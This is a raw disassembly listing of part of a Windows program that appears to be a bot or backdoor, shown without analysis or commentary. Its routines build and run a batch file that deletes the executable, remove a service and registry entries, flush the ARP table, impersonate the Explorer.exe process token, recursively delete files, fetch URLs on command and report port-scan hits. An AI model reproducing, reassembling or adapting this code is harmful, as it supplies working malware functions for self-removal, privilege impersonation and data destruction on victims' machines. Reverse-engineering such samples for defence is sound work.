loc_427BC1:				; CODE XREF: sub_427B4E+6Fj
		pop	esi
		pop	ebp
		retn
sub_427B4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427BC4	proc near		; CODE XREF: sub_418FA1+15Fp

var_90		= byte ptr -90h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset byte_445833
		push	1
		mov	esi, offset dword_445734
		push	edi
		push	esi
		push	dword_445730
		call	sub_421340
		add	esp, 10h
		test	eax, eax
		jz	short loc_427BF4
		push	7Fh
		jmp	short loc_427C66
; ---------------------------------------------------------------------------


loc_427BF4:				; CODE XREF: sub_427BC4+2Aj
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_43713C	; GetLocalTime
		mov	ax, [ebp+var_8]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_427C79
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_427C15:				; CODE XREF: sub_427BC4+BBj
		push	ecx
		mov	ebx, 80h
		movzx	ecx, [ebp+var_6]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "%.2d/%.2d/%4d, %.2d:%.2d %s"
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_90]
		push	1
		push	eax
		push	edi
		push	esi
		push	dword_445730
		call	sub_421409
		add	esp, 38h
		test	eax, eax
		jz	short loc_427C74
		push	ebx
		lea	eax, [ebp+var_90]


loc_427C66:				; CODE XREF: sub_427BC4+2Ej
		push	eax
		push	offset dword_676418
		call	sub_429D10
		add	esp, 0Ch


loc_427C74:				; CODE XREF: sub_427BC4+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_427C79:				; CODE XREF: sub_427BC4+47j
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	short loc_427C15
sub_427BC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427C81	proc near		; CODE XREF: sub_418E0F+1Ap
					; sub_427DAA+9Bp

var_80C		= byte ptr -80Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80Ch
		push	esi
		lea	eax, [ebp+var_80C]
		push	edi
		push	eax
		push	400h
		call	dword_4370B8	; GetTempPathA
		lea	eax, [ebp+var_108]
		push	104h
		xor	esi, esi
		push	eax
		push	esi
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		call	sub_429B9C
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		lea	eax, [ebp+var_80C]
		push	edx
		push	offset dword_4439B4
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset aSSIIII_bat ; "%s\\%s%i%i%i%i.bat"
		push	eax
		call	sub_429B03
		add	esp, 20h
		lea	eax, [ebp+var_108]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_20C]
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_427DA6
		lea	eax, [ebp+var_108]
		cmp	[ebp+arg_0], esi
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_40C]
		jnz	short loc_427D5E
		push	offset a@echoOffRepeat ; "@echo	off\r\n:Repeat\r\ndel \"%s\">nul\r\nping "...
		jmp	short loc_427D63
; ---------------------------------------------------------------------------


loc_427D5E:				; CODE XREF: sub_427C81+D4j
		push	offset a@echoOffRepe_0 ; "@echo	off\r\n:Repeat\r\ndel \"%s\">nul\r\nif ex"...


loc_427D63:				; CODE XREF: sub_427C81+DBj
		push	eax
		call	sub_429B03
		add	esp, 14h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	edi
		call	dword_437078	; WriteFile
		push	edi
		call	dword_437044	; CloseHandle
		push	esi
		push	esi
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	esi
		push	esi
		call	dword_456E74	; ShellExecuteA


loc_427DA6:				; CODE XREF: sub_427C81+B4j
		pop	edi
		pop	esi
		leave
		retn
sub_427C81	endp


; =============== S U B	R O U T	I N E =======================================



sub_427DAA	proc near		; CODE XREF: sub_40A9FE+B1Bp
					; sub_4182BA+645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_456F28	; OpenSCManagerA
		push	0F01FFh
		push	offset dword_4439CC
		push	eax
		call	dword_456DC8	; OpenServiceA
		push	eax
		call	dword_456E50	; DeleteService
		mov	edi, offset byte_443B5B
		mov	esi, offset dword_443A5C
		push	edi
		push	esi
		push	dword_443A58
		call	sub_420F6C
		push	edi
		push	esi
		push	80000001h
		call	sub_420F6C
		add	esp, 18h
		cmp	[esp+0Ch+arg_4], ebx
		jz	short loc_427E2D
		push	offset byte_445423
		push	offset dword_445324
		push	dword_445320
		call	sub_420F6C
		push	offset byte_445833
		push	offset dword_445734
		push	dword_445730
		call	sub_420F6C
		add	esp, 18h


loc_427E2D:				; CODE XREF: sub_427DAA+54j
		push	dword_457F64
		call	dword_4370DC	; ReleaseMutex
		cmp	[esp+0Ch+arg_0], ebx
		jnz	short loc_427E4B
		call	sub_4235A4
		push	ebx
		call	sub_427C81
		pop	ecx


loc_427E4B:				; CODE XREF: sub_427DAA+93j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_427DAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E4F	proc near		; CODE XREF: sub_41C238+C1p
					; sub_41C238+E4p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_675FE0
		push	0
		push	edi
		call	sub_429760
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_427E74:				; CODE XREF: sub_427E4F+5Bj
					; sub_427E4F+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_42BDD0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_42BE50
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_427EB2
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_427E74
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_427E74
; ---------------------------------------------------------------------------


loc_427EB2:				; CODE XREF: sub_427E4F+4Bj
		mov	eax, edi
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427EB6:				; CODE XREF: sub_427E4F+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_427EBB:				; CODE XREF: sub_427E4F+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_427EB6
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427E4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_427ECD	proc near		; CODE XREF: sub_418FA1+5C6p
		mov	ecx, dword_456E14
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_427EDB
		jmp	ecx
; ---------------------------------------------------------------------------

locret_427EDB:				; CODE XREF: sub_427ECD+Aj
		retn
sub_427ECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427EDC	proc near		; CODE XREF: sub_40A9FE+2821p
					; sub_41EBE9+33p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_456FCC	; GetIpNetTable
		sub	eax, edi
		jz	short loc_427F3B
		sub	eax, 32h
		jz	short loc_427F36
		sub	eax, 48h
		jnz	short loc_427F36
		push	[ebp+var_8]
		call	sub_4297B8
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_429760
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_427F36
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_456FCC	; GetIpNetTable
		test	eax, eax
		jz	short loc_427F3B


loc_427F36:				; CODE XREF: sub_427EDC+28j
					; sub_427EDC+2Dj ...
		mov	[ebp+var_4], edi
		jmp	short loc_427F51
; ---------------------------------------------------------------------------


loc_427F3B:				; CODE XREF: sub_427EDC+23j
					; sub_427EDC+58j
		cmp	[esi], edi
		jbe	short loc_427F51
		lea	ebx, [esi+4]


loc_427F42:				; CODE XREF: sub_427EDC+73j
		push	ebx
		call	dword_456FC8	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_427F42


loc_427F51:				; CODE XREF: sub_427EDC+5Dj
					; sub_427EDC+61j
		push	esi
		call	sub_4298F2
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427EDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427F60	proc near		; CODE XREF: sub_428017+9p

var_110C	= dword	ptr -110Ch
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 110Ch
		call	sub_429B60
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_110C]
		push	1000h
		push	eax
		call	dword_456F30
		test	eax, eax
		jz	short loc_428007
		mov	edi, [ebp+var_4]
		push	0
		shr	edi, 2
		pop	esi
		jz	short loc_428007


loc_427F95:				; CODE XREF: sub_427F60+A5j
		lea	eax, [ebp+var_10C]
		push	offset aUnknown	; "unknown"
		push	eax
		call	dword_4370B4	; lstrcpyA
		push	[ebp+esi*4+var_110C]
		push	0
		push	411h
		call	dword_437114	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_428002
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	ebx
		call	dword_456EEC
		test	eax, eax
		jz	short loc_428002
		lea	eax, [ebp+var_10C]
		push	104h
		push	eax
		push	[ebp+var_8]
		push	ebx
		call	dword_456E20
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aExplorer_exe ; "Explorer.exe"
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_42800E


loc_428002:				; CODE XREF: sub_427F60+5Fj
					; sub_427F60+74j
		inc	esi
		cmp	esi, edi
		jb	short loc_427F95


loc_428007:				; CODE XREF: sub_427F60+28j
					; sub_427F60+33j
		xor	eax, eax


loc_428009:				; CODE XREF: sub_427F60+B5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42800E:				; CODE XREF: sub_427F60+A0j
		mov	eax, [ebp+esi*4+var_110C]
		jmp	short loc_428009
sub_427F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428017	proc near		; CODE XREF: sub_40541D+Cp
					; sub_423C7A:loc_423CEFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	edi
		call	sub_427F60
		test	eax, eax
		jz	short loc_428067
		push	eax
		push	1
		push	1F0FFFh
		call	dword_437114	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	short loc_428067
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	0Ah
		push	edi
		call	dword_456F18	; OpenProcessToken
		mov	esi, dword_437044
		test	eax, eax
		jz	short loc_428063
		push	[ebp+var_4]
		call	dword_45700C	; ImpersonateLoggedOnUser
		push	[ebp+var_4]
		call	esi ; dword_437044


loc_428063:				; CODE XREF: sub_428017+3Cj
		push	edi
		call	esi ; dword_437044
		pop	esi


loc_428067:				; CODE XREF: sub_428017+10j
					; sub_428017+24j
		pop	edi
		leave
		retn
sub_428017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42806A	proc near		; CODE XREF: sub_423C7A+18p

var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 178h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_C], ebx
		call	dword_456F28	; OpenSCManagerA
		mov	[ebp+var_4], eax


loc_42808B:				; CODE XREF: sub_42806A+7Fj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_178]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_4]
		call	dword_456EE0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4280C1
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	short loc_4280EB


loc_4280C1:				; CODE XREF: sub_42806A+48j
		xor	edi, edi
		cmp	[ebp+var_8], ebx
		jle	short loc_4280E6
		lea	esi, [ebp+var_178]


loc_4280CE:				; CODE XREF: sub_42806A+7Aj
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_4280FB
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_8]
		jl	short loc_4280CE


loc_4280E6:				; CODE XREF: sub_42806A+5Cj
		cmp	[ebp+var_C], ebx
		jnz	short loc_42808B


loc_4280EB:				; CODE XREF: sub_42806A+55j
		push	[ebp+var_4]
		call	dword_456DE4	; CloseServiceHandle
		xor	eax, eax


loc_4280F6:				; CODE XREF: sub_42806A+A3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4280FB:				; CODE XREF: sub_42806A+71j
		lea	eax, [edi+edi*8]
		xor	ecx, ecx
		cmp	[ebp+eax*4+var_16C], 4
		setz	cl
		mov	eax, ecx
		jmp	short loc_4280F6
sub_42806A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42810F	proc near		; CODE XREF: sub_40A9FE+4CD0p
					; sub_42810F+C7p

var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_114		= byte ptr -114h
arg_0		= dword	ptr  4

		sub	esp, 144h
		push	ebx
		mov	ebx, dword_43714C
		push	ebp
		push	esi
		mov	esi, [esp+150h+arg_0]
		push	edi
		push	esi
		call	ebx ; dword_43714C
		push	esi
		call	sub_4293A0
		add	eax, 4
		push	eax
		call	sub_4297B8
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	esi
		push	edi
		call	dword_4370B4	; lstrcpyA
		mov	ebp, dword_437090
		push	offset a_	; "\\*.*"
		push	edi
		call	ebp ; dword_437090
		lea	eax, [esp+154h+var_140]
		push	eax
		push	edi
		call	dword_437148	; FindFirstFileA
		mov	[esp+154h+var_144], eax


loc_428162:				; CODE XREF: sub_42810F+F3j
					; sub_42810F+10Fj
		cmp	[esp+154h+var_144], 0FFFFFFFFh
		jz	loc_428227
		push	esi
		call	sub_4293A0
		mov	edi, eax
		lea	eax, [esp+158h+var_114]
		push	eax
		call	sub_4293A0
		lea	eax, [edi+eax+1]
		push	eax
		call	sub_4297B8
		add	esp, 0Ch
		mov	edi, eax
		push	esi
		push	edi
		call	dword_4370B4	; lstrcpyA
		push	offset asc_44DABC ; "\\"
		push	edi
		call	ebp ; dword_437090
		lea	eax, [esp+154h+var_114]
		push	eax
		push	edi
		call	ebp ; dword_437090
		lea	eax, [esp+154h+var_114]
		push	offset dword_43AB8C
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_42820A
		lea	eax, [esp+154h+var_114]
		push	offset a__	; ".."
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_42820A
		test	[esp+154h+var_140], 10h
		jz	short loc_4281DE
		push	edi
		call	sub_42810F
		pop	ecx
		jmp	short loc_4281F1
; ---------------------------------------------------------------------------


loc_4281DE:				; CODE XREF: sub_42810F+C4j
		push	80h
		push	edi
		call	dword_437068	; SetFileAttributesA
		push	edi
		call	dword_437060	; DeleteFileA


loc_4281F1:				; CODE XREF: sub_42810F+CDj
		lea	eax, [esp+154h+var_140]
		push	eax
		push	[esp+158h+var_144]
		call	dword_437144	; FindNextFileA
		test	eax, eax
		jnz	loc_428162
		jmp	short loc_428227
; ---------------------------------------------------------------------------


loc_42820A:				; CODE XREF: sub_42810F+A9j
					; sub_42810F+BDj
		push	edi
		call	ebx ; dword_43714C
		lea	eax, [esp+154h+var_140]
		push	eax
		push	[esp+158h+var_144]
		call	dword_437144	; FindNextFileA
		test	eax, eax
		jnz	loc_428162
		push	esi
		call	ebx ; dword_43714C


loc_428227:				; CODE XREF: sub_42810F+58j
					; sub_42810F+F9j
		push	[esp+154h+var_144]
		call	dword_437140	; FindClose
		push	10h
		push	esi
		call	dword_437068	; SetFileAttributesA
		push	esi
		call	ebx ; dword_43714C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 144h
		retn
sub_42810F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428248	proc near		; DATA XREF: sub_40A9FE+8250o

var_2B6C	= byte ptr -2B6Ch
var_45C		= byte ptr -45Ch
var_35C		= byte ptr -35Ch
var_2DC		= byte ptr -2DCh
var_25C		= byte ptr -25Ch
var_1DC		= dword	ptr -1DCh
var_1D8		= byte ptr -1D8h
var_158		= byte ptr -158h
var_D8		= byte ptr -0D8h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2B6Ch
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1DC]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		mov	eax, [ebp+var_1DC]
		mov	[ebp+arg_0], eax
		push	edi
		lea	eax, [ebp+var_35C]
		push	ebx
		push	eax
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], offset asc_450DD8 ; "*/*"
		call	sub_429760
		push	edi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp+var_25C]
		push	ebx
		push	eax
		call	sub_429760
		push	100h
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		call	sub_429760
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_1D8]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	dword_456DE8	; InternetCrackUrlA
		test	eax, eax
		jz	loc_4283FA
		cmp	[ebp+var_34], ebx
		jbe	short loc_42832C
		push	[ebp+var_34]
		lea	eax, [ebp+var_35C]
		push	[ebp+var_38]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_42832C:				; CODE XREF: sub_428248+CDj
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_42834A
		push	[ebp+var_28]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_2C]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_42834A:				; CODE XREF: sub_428248+EBj
		cmp	[ebp+var_20], ebx
		jbe	short loc_428364
		push	[ebp+var_20]
		lea	eax, [ebp+var_25C]
		push	[ebp+var_24]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_428364:				; CODE XREF: sub_428248+105j
		cmp	[ebp+var_18], ebx
		jbe	short loc_42837E
		push	[ebp+var_18]
		lea	eax, [ebp+var_45C]
		push	[ebp+var_1C]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_42837E:				; CODE XREF: sub_428248+11Fj
		push	ebx
		push	ebx
		lea	eax, [ebp+var_25C]
		push	3
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_35C]
		push	esi
		push	eax
		push	dword_456ED0
		call	dword_456F00	; InternetConnectA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_428415
		push	ebx
		lea	eax, [ebp+var_C]
		push	200h
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	ebx
		push	edi
		call	dword_456EF0	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_428421
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_456E7C	; HttpSendRequestA
		test	eax, eax
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		lea	eax, [ebp+var_2B6C]
		jz	short loc_4283F3
		push	offset aSUrlVisited_ ; "%s URL visited."
		jmp	short loc_428431
; ---------------------------------------------------------------------------


loc_4283F3:				; CODE XREF: sub_428248+1A2j
		push	offset aSFailedToGetRe ; "%s Failed to get requested URL from HTT"...
		jmp	short loc_428431
; ---------------------------------------------------------------------------


loc_4283FA:				; CODE XREF: sub_428248+C4j
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		lea	eax, [ebp+var_2B6C]
		push	offset aSInvalidUrl_ ; "%s  Invalid URL."
		push	eax
		call	sub_429B03
		mov	edi, [ebp+var_8]
		jmp	short loc_428437
; ---------------------------------------------------------------------------


loc_428415:				; CODE XREF: sub_428248+160j
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	offset aSCouldNotOpenA ; "%s Could not open a connection."
		jmp	short loc_42842B
; ---------------------------------------------------------------------------


loc_428421:				; CODE XREF: sub_428248+188j
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	offset aSFailedToConne ; "%s Failed to connect to HTTP server."


loc_42842B:				; CODE XREF: sub_428248+1D7j
		lea	eax, [ebp+var_2B6C]


loc_428431:				; CODE XREF: sub_428248+1A9j
					; sub_428248+1B0j
		push	eax
		call	sub_429B03


loc_428437:				; CODE XREF: sub_428248+1CBj
		add	esp, 0Ch
		cmp	[ebp+var_54], ebx
		mov	esi, offset aS_5 ; "%s"
		jnz	short loc_428463
		cmp	[ebp+var_50], ebx
		jnz	short loc_428468
		lea	eax, [ebp+var_2B6C]
		push	eax
		lea	eax, [ebp+var_D8]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_428463:				; CODE XREF: sub_428248+1FAj
		cmp	[ebp+var_50], ebx
		jz	short loc_428482


loc_428468:				; CODE XREF: sub_428248+1FFj
		lea	eax, [ebp+var_2B6C]
		push	eax
		lea	eax, [ebp+var_D8]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_428482:				; CODE XREF: sub_428248+21Ej
		push	edi
		call	dword_456F70	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_456F70	; InternetCloseHandle
		push	[ebp+var_58]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_428248	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284A5	proc near		; DATA XREF: sub_40A9FE+6D9Eo

var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		mov	dword ptr [eax+120h], 1
		mov	eax, [ebp+var_124]
		xor	ecx, ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_8], ecx
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		mov	esi, offset aSSPortsHitS ; "%s %s, ports hit: (%s)"
		jnz	short loc_428523
		cmp	[ebp+var_C], ecx
		jnz	short loc_428528
		push	[ebp+var_14]
		lea	edx, [ebp+var_120]
		push	[ebp+var_18]
		push	edx
		push	ecx
		push	ecx
		lea	ecx, [ebp+var_A0]
		push	ecx
		push	eax
		call	sub_428660
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 34h
		xor	ecx, ecx


loc_428523:				; CODE XREF: sub_4284A5+43j
		cmp	[ebp+var_C], ecx
		jz	short loc_428563


loc_428528:				; CODE XREF: sub_4284A5+48j
		push	[ebp+var_14]
		lea	eax, [ebp+var_120]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		push	[ebp+var_124]
		call	sub_428660
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 34h


loc_428563:				; CODE XREF: sub_4284A5+81j
		push	[ebp+var_20]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4284A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428577	proc near		; CODE XREF: sub_428660+116p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_4285A0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4372CC	; connect
		jmp	loc_42865C
; ---------------------------------------------------------------------------


loc_4285A0:				; CODE XREF: sub_428577+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_437290	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_456EBC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_456F1C	; select
		test	eax, eax
		jnz	short loc_428604
		or	eax, 0FFFFFFFFh
		jmp	short loc_42865C
; ---------------------------------------------------------------------------


loc_428604:				; CODE XREF: sub_428577+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_42860F


loc_42860B:				; CODE XREF: sub_428577+B8j
					; sub_428577+DCj
		mov	eax, edi
		jmp	short loc_42865C
; ---------------------------------------------------------------------------


